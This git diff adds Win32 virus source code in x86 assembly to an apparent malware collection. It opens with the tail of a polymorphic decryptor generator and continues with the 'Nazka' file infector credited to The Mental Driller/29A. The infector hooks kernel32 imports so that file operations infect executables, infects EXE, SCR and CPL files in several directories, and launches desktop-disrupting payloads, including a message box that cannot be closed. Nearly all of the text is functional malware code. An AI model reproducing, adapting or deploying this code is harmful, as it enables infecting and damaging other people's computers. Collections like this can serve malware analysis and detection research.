+xchg_edx proc ; +push eax ; +mov al,87H ; +stosb ; +@@2: ; +call mov_reg ; +cmp al,0C0H ; +je @@2 ; +add al,10H ; +stosb ; +@@1: ; +pop eax ; +ret ; +xchg_edx endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; MOV DR0,REG * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +mov_dr0 proc ; +push eax ; +mov ax,230FH ; +stosw ; +call mov_reg ; +stosb ; +@@1: ; +pop eax ; +ret ; +mov_dr0 endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; TEST EAX,REG * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +test_eax proc ; +push eax ; +mov al,85H ; +stosb ; +call mov_reg ; +stosb ; +pop eax ; +ret ; +test_eax endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; CMP EAX,REG * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +cmp_eax proc ; +push eax ; +mov al,3BH ; +stosb ; +call mov_reg ; +stosb ; +pop eax ; +ret ; +cmp_eax endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; NEG REG * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +neg_reg proc ; +push eax ; +mov al,0F7H ; +cmp byte ptr [edi-2],al ; +je @@1 ; +stosb ; +call mov_reg ; +add al,18H ; +stosb ; +@@1: ; +pop eax ; +ret ; +neg_reg endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; ADC REG * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +adc_reg proc ; +push eax ; +mov al,13H ; +stosb ; +call mov_reg ; +stosb ; +pop eax ; +ret ; +adc_reg endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; ADC REG * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +adc_reg_num proc ; +push eax ; +mov al,81H ; +stosb ; +@@2: ; +call mov_reg ; +cmp al,0C0H ; +je @@2 ; +add al,10H ; +stosb ; +call rnd ; +stosd ; +pop eax ; +ret ; +adc_reg_num endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; AND REG,???? * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +and_reg_num proc ; +push eax ; +mov al,81H ; +cmp byte ptr [edi-6],al ; +je @@1 ; +stosb ; +@@2: ; +call mov_reg ; +cmp al,0C0H ; +je @@2 ; +add al,20H ; +stosb ; +call rnd ; +stosd ; +@@1: ; +pop eax ; +ret ; +and_reg_num endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; BT REG,REG * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +bt_reg_reg proc ; +push eax ; +cmp byte ptr [edi-3],0FH ; +je @@1 ; +mov ax,0A30FH ; +stosw ; +call mov_reg ; +stosb ; +@@1: ; +pop eax ; +ret ; +bt_reg_reg endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; OR REG,REG * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +or_reg_reg proc ; +push eax ; +mov al,0AH ; +stosb ; +call mov_reg ; +stosb ; +pop eax ; +ret ; +or_reg_reg endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; XOR REG16,?? * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +xor_reg_num proc ; +push eax ; +mov ax,8166H ; +stosw ; +@@2: ; +call mov_reg ; +cmp al,0C0H ; +je @@2 ; +add al,30H ; +stosb ; +call rnd ; +stosw ; +pop eax ; +ret ; +xor_reg_num endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; SHL E?X,CL * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +shl_reg_cl proc ; +push eax ; +mov al,0D3H ; +cmp byte ptr [edi-2],al ; +je @@1 ; +stosb ; +call mov_reg ; +add al,20H ; +stosb ; +@@1: ; +pop eax ; +ret ; +shl_reg_cl endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; PUSH_POP E?X * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +push_pop proc ; +push eax ; +cmp dl,99H ; +je @@1 ; +call mov_reg ; +@@1: ; +sub al,70H ; +stosb ; + ; +call chg_garble ; + ; +cmp bl,99H ; Only PUSH ? +je @@2 ; +add al,08H ; +stosb ; +@@2: ; +pop eax ; +ret ; +push_pop endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; JUMP GENERATOR * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +jump proc ; +pushad ; +xor edx,edx ; +call rnd ; +and eax,01111110b ; 126 +mov ecx,eax ; +mov bl,al ; +mov al,0EBH ; +stosb ; +mov al,bl ; +stosb ; +@@1: ; +call rnd ; +stosb ; +loop @@1 ; +mov dr0,edi ; +popad ; +mov edi,dr0 ; +ret ; +jump endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; CHANGE EDI * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; IF DL = 1 +ch_edi proc ; A RANDOMIC DWORD +push eax ; WILL BE USED +in al,40H ; +and al,0001b ; IF NOT, THE NEXT +jz @@1 ; ROUTINE HAVE TO STORE +mov ax,0FF33H ; A DWORD +stosw ; +mov ax,0C781H ; +stosw ; +jmp short @@2 ; +@@1: ; +mov al,0BFH ; +stosb ; +@@2: ; +cmp dl,99H ; +je @@3 ; +@@4: ; +pop eax ; +ret ; +@@3: ; +call rnd ; +stosd ; +jmp @@4 ; +ch_edi endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; CRYPT CODE * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + + +CRYPT proc + +; 1) mov edi, 'CODE_OFFSET_RUNTIME' +; 2) mov ecx, 'VIRUS_LENGHT' +; 3) mov /eax/ebx/edx/, DWORD PTR [edi] +; 4) xor /eax/ebx/edx/, KEY +; 5) add/sub /eax/ebx/edx/, BYTE + +mov [ebp+_off1],edi ; PROC init + +call edi_ofs +mov ecx,dword ptr [ebp+len] +call len_ecx +call edi2eax +push edi +call xor_eax +call eax2edi +call add_edi +pop ebx +sub ebx,2 ; Back to instruction +call do_loop + +mov eax,edi +sub eax,[ebp+all_ini] ; EAX = decryptor size +add eax,[ebp+_RVA] +add eax,2 +mov esi,[ebp+_off2] +mov [esi],eax +push edi ; Save end of + +mov ecx,dword ptr [ebp+len] +mov esi,dword ptr [ebp+ofsvir]; +rep movsd ; copy it + +pop edi +push edi +sub edi,[ebp+_off1] +mov eax,edi +mov ebx,[ebp+_off3] +mov esi,ebx +lea edi,[ebp+ofs buff] +mov ecx,eax +mov edx,30 +sub edx,ecx +rep movsb +mov al,90H +mov ecx,edx +sub ecx,2 +rep stosb +pop edi + +buff db 30 dup (90H) + +db 6 dup (0C3H) + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; EDI_OFFSET * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +edi_ofs proc ; +push eax ; +mov al,0BFH ; +stosb ; +mov [ebp+_off2],edi ; mov edi,offset virus +xor eax,eax ; +stosd ; +pop eax ; +ret ; +edi_ofs endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; MOV ECX,LENGHT * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +len_ecx proc ; +push eax ; +mov [ebp+_off3],edi ; +mov al,0B9H ; +stosb ; +mov eax,ecx ; +stosd ; +pop eax ; +ret ; +len_ecx endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; [EDI] - > EAX * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +edi2eax proc ; +push eax ; +mov ax,078BH ; mov eax,dword ptr [edi] +stosw ; +pop eax ; +ret ; +edi2eax endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; XOR EAX, ???? * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +xor_eax proc ; +push eax ; +mov al,35H ; XOR EAX, ???? +stosb ; +call rnd ; +stosd ; rnd dword +pop eax ; +ret ; +xor_eax endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; EAX -> [EDI] * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +eax2edi proc ; +push eax ; +mov ax,0789H ; mov dword ptr [edi],eax +stosw ; +pop eax ; +ret ; +eax2edi endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; ADD EDI,4 * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +add_edi proc ; +push eax ; +mov ax,0C783H ; +stosw ; +mov al,4 ; +stosb ; +pop eax ; +ret ; +add_edi endp ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + + +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ +; LOOP DECRYPT_INI * +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + ; +do_loop: ; +push eax ; +push ebx ; +mov al,0E2H ; +stosb ; +sub ebx,edi ; +dec ebx ; +mov al,bl ; +stosb ; +mov [ebp+_off4],edi ; MARK the end. +pop ebx ; +pop eax ; +ret ; +;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+ + +_off1 dd 0 +_off2 dd 0 +_off3 dd 0 +_off4 dd 0 +_off5 dd 0 ; offset 4 'RET' , put a Nop +siz dd 0 + +CRYPT endp diff --git a/Engines/Virus.Win32.Nazka.528 b/Engines/Virus.Win32.Nazka.528 new file mode 100644 index 00000000..60ccae1a --- /dev/null +++ b/Engines/Virus.Win32.Nazka.528 @@ -0,0 +1,1922 @@ +.386p ;;;;;;;;;;;; Virus NAZKA +.model flat ;;;;;; by The Mental Driller/29A +locals ;;;;;;;;;;; ------------------------- +.data ;;;;;;;;;;;; Infection is as follows: +;;;;;;;;;;;;;;;;;; - Decryptor in .code section + ;;;;;;;;;;;;; - Virus in .reloc section + ;;;;;;;;;;;;; - Original overwritten code at the end of the last section + ;;;;;;;;;;;;; After decryption: +;;; ;;;;;;;;;; - Restoring of the overwritten code with WriteProcessMemory +;;; ;;;;;;;;;; Achievements with this type of infection: +;;; ;;;;;;;;;; - .code section mantains original flags +;;;;;; ;;;;;;; - .reloc section (which no longer is named so) can be a +;;;;;; ;;;;;;; "strange" section of an executable, with EXEC_WRI_READ +;;;;;; ;;;;;;; flags +;;;;;;;;; ;;;; - Original host code is saved and encrypted at the end of +;;;;;;;;; ;;;; the host. +;;;;;;;;; ;;;; +;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;; ;by;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;; ;The Mental Driller/29A;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; All the virus is intended to be full compatible with future versions of ;;;; +;; win32 (I mean, I don't use strange things like the VxDCALL0 or ring-0 int ;; +;; callgates, due to the fact that they are exploits, after all, and they can ; +;; be fixed in future versions of the kernel). ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; This virus isn't very good, but I had to made something to probe that I ;;;; +;; can actually code under Win32 systems, and this virus is a look-a-like of ;; +;; a most advanced version that I'm thinking on, making complex-as-the-fuck ;;; +;; decryptors (that's the reason why I save 1000h bytes of code of .text in ;;; +;; the infections, just to test the technique). ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; The virus has two parts: the first sets a per-process residency catching ;;; +;; some common functions to open files, and GetProcAddress to return our ;;;;;; +;; handled address just in case the application uses the function. The second ; +;; part is a runtime infection, which infects all EXEs, SCRs and CPLs on ;;;;;; +;; current, system and windows directory (as always). ;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; PAYLOADS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; This virus has 3 different payloads based on the GDI library: ;;;;;;;;;;;;;; +;; 1) Draws NAZKA in the desktop with colorful polygons and displays a message; +;;;; box which can't be closed :) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; 2) Writes "N A Z K A" with the TextOutA function in random positions all ;;; +;;;; over the screen, covering all the desktop. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; 3) The same as 2, but this time with random-color pixels, with the function; +;;;; SetPixel. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; This payloads are spawned in a different thread, so they act while the ;;;;; +;;; application runs. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; POLYMORPHISM ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; The virus is slightly polymorphic, it means, the decryptors are easy to ;;;; +;;; emulate and all that, but I didn't want to leave the virus "nude", and a ;; +;;; single fixed decryptor didn't like me at all. Well, this type of polymor- ; +;;; phism don't like me very much either, but I'm still (!!) working on the ;;; +;;; Tuareg, which will be finished in two or three years :P. ;;;;;;;;;;;;;;;;;; +;; The engine will create three polymorphic decryptors in the beginning of ;;;; +;;; the .text section, and will decrypt the .reloc section (where the virus ;;; +;;; is). ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; I have to apologize because I didn't comment very much of the code. ;;;;;;;; +;; Instead of it, I intend to put names to the functions and labels to be ;;;;; +;; quite explicit (it's my habit lastly), so I hope there isn't many problems ; +;; It's quickly coded also, so many buffer variables are between code instead ; +;; of using the more elegant technique of allocate some local memory for ;;;;;; +;; variables and all that. Maybe in future versions... ;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;; Message on first generation +Titulo db 'Virus NAZKA 1st Generation by The Mental Driller/29A',0 +Mensaje db 'You have been infected with the first generation',0dh,0ah + db 'of the virus NAZKA by The Mental Driller/29A',0 +.code +extrn ExitProcess:PROC +extrn MessageBoxA:PROC + +Virus_Size equ offset End_Virus - offset Inic_Virus +Encrypted_Virus_Size equ Virus_Size + +Nazka proc +Inic_Virus label dword + push eax ; Size to store the return address + pusha + call GetDeltaOffset +GetDeltaOffset: pop ebp + sub ebp, offset GetDeltaOffset + mov [ebp+DeltaOffset], ebp + mov [ebp+DeltaOffset2], ebp + ;; Put the return address + mov eax, [ebp+InicIP] + mov [esp+20h], eax + + mov byte ptr [ebp+CounterOfFunctions], 0 + + mov eax, [esp+24h] + and eax, 0FFFFF000h + mov dword ptr [ebp+Addr_Kernel32], eax + mov dword ptr [ebp+AuxCounter], 100h + lea eax, [ebp+offset @@Loop_001] + mov dword ptr [ebp+SEHReturn], eax + + push offset MySEH ; Setup SEH for preventing + push dword ptr fs:[0] ; reading exceptions + mov fs:[0], esp + +@@Loop_001: sub dword ptr [ebp+Addr_Kernel32], 1000h + mov eax, [ebp+Addr_Kernel32] + cmp word ptr [eax], 'ZM' + jz @@MaybeKernelFound + dec dword ptr [ebp+AuxCounter] + jnz @@Loop_001 + push ds + pop ax + cmp ax, 0137h + jb @@JumpToHost2 ; No hard-coded address for WinNT + mov eax, 0BFF70000h ; Hard-coded under Win9x + jmp @@KernelFound2 + +@@MaybeKernelFound: + mov ebx, [eax+3Ch] + add ebx, eax + cmp word ptr [ebx], 'EP' + jnz @@Loop_001 + +@@KernelFound2: pop dword ptr fs:[0] ; Restore SEH + pop ecx ; Eliminate our handler from stack + + mov ebx, [ebx+78h] + add ebx, eax + mov ecx, [ebx+18h] + + mov esi, [ebx+20h] + add esi, eax + @@Loop_003: mov edi, [esi] + add edi, eax + cmp dword ptr [edi], 'PteG' + jnz @@Next_001 + cmp dword ptr [edi+4], 'Acor' + jnz @@Next_001 + cmp dword ptr [edi+8], 'erdd' + jnz @@Next_001 + cmp word ptr [edi+0Ch], 'ss' + jnz @@Next_001 + cmp byte ptr [edi+0Eh], 0 + jz @@GetProcAddressFound + @@Next_001: add esi, 4 + loop @@Loop_003 + jmp @@JumpToHost + @@GetProcAddressFound: + sub ecx, [ebx+18h] + neg ecx + shl ecx, 1 + add ecx, [ebx+24h] + add ecx, eax + movzx ecx, word ptr [ecx] + shl ecx, 2 + add ecx, [ebx+1Ch] + add ecx, eax + mov ecx, [ecx] + add ecx, eax + mov dword ptr [ebp+RVA_GetProcAddress], ecx + + lea esi, [ebp+CrunchedASCIIs] + mov edx, [ebp+Addr_Kernel32] + mov [ebp+ModuleToUse], edx + lea edx, [ebp+RVAs] + + call GetRVAs + jc @@JumpToHost + +;; Let's patch the import directory +;; I also use the Jacky Qwerty's idea of patch the GetProcAddress function +;; (implemented in Win32.Cabanas) to catch the functions that many +;; applications obtain via GetProcAddress + call PatchImportDirectory + +;; All RVAs got! +;; Let's infect directories + call RuntimeInfection + +;; The payloads! Nice GDI routines spawned in a thread, so they are acting +;; while the process is active. There are three payloads: +;; 1) Draws "NAZKA" with colorful letters and rotates the color of them every +;; tenth of second. +;; 2) Writes "N A Z K A" all over the screen with green text letters and in +;; random positions, covering completely the desktop in a few time :) +;; 3) The same as 2 but with pixels instead of text. + call Payload + +@@JumpToHost: cmp dword ptr [ebp+CounterOfFunctions], 2 + jb @@SimulateExecError + call dword ptr [ebp+RVA_GetCurrentProcess] + push 0 + push 1000h + lea ebx, [ebp+End_Virus] + push ebx + mov ebx, [ebp+RestoreAddress] + push ebx + push eax + call dword ptr [ebp+RVA_WriteProcessMemory] + + popa + ret + +@@SimulateExecError: + push 00BFF700h ; Construct NOP/MOV BYTE PTR [BFF70000],0 + push 0005C690h ; to generate an exception from an "unknown + jmp esp ; module" :) + +@@JumpToHost2: pop dword ptr fs:[0] ; Restore original SEH + pop eax + jmp @@JumpToHost +Nazka endp + +InicIP dd offset FakedHost +RestoreAddress dd offset FakedHost +CounterOfFunctions db 0 + +MySEH proc + mov esp, [esp+8] ; Exception? Restore and jump to the + db 0BDh ; specified address +DeltaOffset dd 0 + jmp [ebp+SEHReturn] +MySEH endp + +SEHReturn dd 0 +AuxCounter dd 0 + +GetRVAs proc + @@Loop_004: lea edi, [ebp+DecrunchBuffer] + push edx + push edi + @@Loop_005: lodsb + push esi +;; 0F0h --> Create +;; 0F1h --> File +;; 0F2h --> Get +;; 0F3h --> DirectoryA +;; 0F4h --> Find +;; 0F5h --> Process +;; 0F6h --> Set +;; 0F7h --> AttributesA + cmp al, 0F6h + ja @@PutAttributesA + jz @@PutSet + cmp al, 0F4h + ja @@PutProcess + jz @@PutFind + cmp al, 0F2h + ja @@PutDirectory + jz @@PutGet + cmp al, 0F0h + ja @@PutFile + jb @@PutDirect + @@PutCreate: lea esi, [ebp+ASC_Create] + mov ecx, 6 + jmp @@Store + @@PutFile: mov eax, 'eliF' + stosd + jmp @@Next_002 + @@PutGet: lea esi, [ebp+ASC_Get] + mov ecx, 3 + jmp @@Store +@@PutDirectory: lea esi, [ebp+ASC_DirectoryA] + mov ecx, 0Ah + jmp @@Store +@@PutFind: mov eax, 'dniF' + stosd + jmp @@Next_002 +@@PutProcess: lea esi, [ebp+ASC_Process] + mov ecx, 7 + jmp @@Store +@@PutSet: lea esi, [ebp+ASC_Set] + mov ecx, 3 + jmp @@Store +@@PutAttributesA: lea esi, [ebp+ASC_AttributesA] + mov ecx, 0Bh + @@Store: rep movsb + jmp @@Next_002 + + @@PutDirect: stosb + @@Next_002: pop esi + or al, al + jnz @@Loop_005 + push dword ptr [ebp+ModuleToUse] + call dword ptr [ebp+RVA_GetProcAddress] + pop edx + or eax, eax + jz @@Error + mov [edx], eax + inc byte ptr [ebp+CounterOfFunctions] + add edx, 4 + cmp byte ptr [esi], 0 + jnz @@Loop_004 + clc + ret +@@Error: stc + ret +GetRVAs endp + +ModuleToUse dd 0 + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; +;; PER-PROCESS RESIDENCY: SETTING AND INFECTION +;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +PatchImportDirectory proc + db 0B8h ; MOV EAX,xxxxxxxx +ImageBase dd 400000h ; Image base, set on infection time + mov ebx, [eax+3Ch] + add ebx, eax + cmp word ptr [ebx], 'EP' + jnz @@End + mov ecx, [ebx+84h] + mov ebx, [ebx+80h] + add ebx, eax +@@SearchModule: mov esi, [ebx+0Ch] + or esi, esi + jz @@End + add esi, eax + @@ToLowerCase: mov edx, [esi] + call ToLower + cmp edx, 'nrek' + jnz @@NextModule + mov edx, [esi+4] + call ToLower + cmp edx, '23le' + jz @@Found + @@NextModule: add ebx, 14h + sub ecx, 14h + jnz @@SearchModule + jmp @@End + + @@Found: mov esi, [ebx+10h] + add esi, eax + cld + + lea ebx, [ebp+FunctionsToPatch] + @@Loop_001: mov edi, ebx + lodsd + or eax, eax + jz @@End + mov ecx, 0Fh + repnz scasd + jnz @@Loop_001 + sub edi, ebx + mov eax, [ebp+edi+FunctionsAddress-4] + add eax, ebp + mov [esi-4], eax + jmp @@Loop_001 + @@End: ret +PatchImportDirectory endp + +FunctionsAddress label dword +dd offset My_GetProcAddress +dd offset My_CreateFileA +dd offset My_CreateProcessA +dd offset My_FindFirstFileA +dd offset My_FindNextFileA +dd offset My_GetFileAttributesA +dd offset My_SetFileAttributesA +dd offset My_GetFullPathNameA +dd offset My_MoveFileA +dd offset My_CopyFileA +dd offset My_DeleteFileA +dd offset My_WinExec +dd offset My__lopen +dd offset My_MoveFileExA +dd offset My_OpenFile + +;,,,,,,,,,,,,,,,,,,,,,,,,, +;; PER-PROCESS FUNCTIONS ; +;''''''''''''''''''''''''' +GetDelta proc + mov eax, 12345678h + org $-4 +DeltaOffset2 dd 0 + ret +GetDelta endp + +My_GetProcAddress proc + call GetDelta + push ecx + add eax, offset @@ReturnHere + mov ecx, eax + xchg eax, [esp+4] + mov [ecx+1], eax + pop ecx + call GetDelta + mov eax, [eax+RVA_GetProcAddress] + jmp eax + @@ReturnHere: db 68h +ReturnGetProcAddress dd 0 + or eax, eax + jz @@Return + pusha + push eax + call GetDelta + xchg ebp, eax + pop eax + lea esi, [ebp+RVAs] + lea edi, [ebp+RVAs+0Eh*4] + mov ebx, esi + xchg ecx, eax + @@Loop_GPA: lodsd + cmp eax, ecx + jnz @@Next_GPA + sub esi, ebx + add esi, ebp + mov eax, [esi+FunctionsAddress+4] + mov [esp+1Ch], eax ; Substitute EAX to function + ; by our function address + jmp @@Return2 + @@Next_GPA: cmp esi, edi + jnz @@Loop_GPA + @@Return2: popa + @@Return: ret ; Ufffh... I hope this work +My_GetProcAddress endp ; (later) It worked! :) + +My_CreateFileA proc + call GetDelta + mov eax, [eax+RVA_CreateFileA] + jmp InfectByPerProcess +My_CreateFileA endp + +InfectByPerProcess proc + push eax + pusha + call GetDelta + xchg ebp, eax + mov ebx, [esp+28h] + lea eax, [ebp+FindFileField] + push eax + push ebx + call dword ptr [ebp+RVA_FindFirstFileA] + inc eax + jz @@Return + dec eax + push eax + call InfectFile + call dword ptr [ebp+RVA_FindClose] + @@Return: popa + ret ; Jump to kernel function +InfectByPerProcess endp + +My_CreateProcessA proc + call GetDelta + mov eax, [eax+RVA_CreateProcessA] + jmp InfectByPerProcess +My_CreateProcessA endp + +FindFirstIdent db 0 + +My_FindNextFileA proc + call GetDelta + mov byte ptr [eax+FindFirstIdent], 0 + jmp Common_FindFile +My_FindNextFileA endp + +My_FindFirstFileA proc + call GetDelta + mov byte ptr [eax+FindFirstIdent], 1 + Common_FindFile: add eax, offset @@ReturnHere + push ecx + mov ecx, eax + xchg eax, [esp+4] + mov [ecx+1], eax + mov eax, [esp+0Ch] ; We put the buffer address... + mov [ecx+0Dh], eax ; ...here + pop ecx + call GetDelta + cmp byte ptr [eax+FindFirstIdent], 1 + jz @@PutFindFirst + @@PutFindNext: mov eax, [eax+RVA_FindNextFileA] + jmp eax + @@PutFindFirst: mov eax, [eax+RVA_FindFirstFileA] + jmp eax + @@ReturnHere: db 68h ; PUSH Value + dd 0 ; +1 + pusha ; +5 + inc eax ; +6 + jnz @@ItsOK ; +7 + dec eax ; +9 + jmp @@Return ; +A + @@ItsOK: db 0BEh ; MOV ESI,Value ; +C + @@ESIValue: dd 0 ; +D + call GetDelta + xchg ebp, eax + lea edi, [ebp+FindFileField] + mov ecx, FindFileFieldSize + cld + rep movsb + dec byte ptr [ebp+InfectFileNow] + jnz @@Return + mov byte ptr [ebp+InfectFileNow], 3 + call InfectFile + @@Return: popa + ret +My_FindFirstFileA endp + +InfectFileNow db 3 + +My_GetFileAttributesA proc + call GetDelta + mov eax, [eax+RVA_GetFileAttributesA] + jmp InfectByPerProcess +My_GetFileAttributesA endp + +My_SetFileAttributesA proc + call GetDelta + mov eax, [eax+RVA_SetFileAttributesA] + jmp InfectByPerProcess +My_SetFileAttributesA endp + +My_GetFullPathNameA proc + call GetDelta + mov eax, [eax+RVA_GetFullPathNameA] + jmp InfectByPerProcess +My_GetFullPathNameA endp + +My_MoveFileA proc + call GetDelta + mov eax, [eax+RVA_MoveFileA] + jmp InfectByPerProcess +My_MoveFileA endp + +My_CopyFileA proc + call GetDelta + mov eax, [eax+RVA_CopyFileA] + jmp InfectByPerProcess +My_CopyFileA endp + +My_DeleteFileA proc + call GetDelta + mov eax, [eax+RVA_DeleteFileA] + jmp InfectByPerProcess +My_DeleteFileA endp + +My_WinExec proc + call GetDelta + mov eax, [eax+RVA_WinExec] + jmp InfectByPerProcess +My_WinExec endp + +My__lopen proc + call GetDelta + mov eax, [eax+RVA__lopen] + jmp InfectByPerProcess +My__lopen endp + +My_MoveFileExA proc + call GetDelta + mov eax, [eax+RVA_MoveFileExA] + jmp InfectByPerProcess +My_MoveFileExA endp + +My_OpenFile proc + call GetDelta + mov eax, [eax+RVA_OpenFile] + jmp InfectByPerProcess +My_OpenFile endp + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;; +;;; RUN-TIME INFECTION +;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +RuntimeInfection proc + call InfectCurrentDir + push 80h 